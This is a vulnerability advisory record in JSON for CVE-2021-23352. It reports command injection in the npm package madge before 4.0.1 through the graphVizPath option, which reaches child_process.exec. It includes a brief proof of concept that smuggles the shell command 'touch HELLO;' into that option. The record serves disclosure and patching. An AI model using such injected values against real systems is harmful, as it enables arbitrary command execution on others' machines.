{
"id": "GHSA-753c-phhg-cj29",
"aliases": [
"CVE-2021-23352"
],
"details": "This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.\n\n### PoC\n```js\nconst madge = require('madge'); \nmadge('..', {graphVizPath: \"touch HELLO;\"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });\n```",
"summary": "Madge vulnerable to command injection",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.1"
}
]
}
],
"package": {
"name": "madge",
"ecosystem": "npm"
}
}
],
"modified": "2023-09-06T23:33:10Z",
"severity": [],
"published": "2021-03-12T23:01:49Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23352",
"type": "ADVISORY"
},
{
"url": "https://github.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332",
"type": "WEB"
},
{
"url": "https://github.com/pahen/madge/blob/master/lib/graph.js#L27",
"type": "WEB"
},
{
"url": "https://snyk.io/vuln/SNYK-JS-MADGE-1082875",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-89"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": "2021-03-09T19:15:00Z",
"github_reviewed_at": "2021-03-12T21:10:53Z"
}
}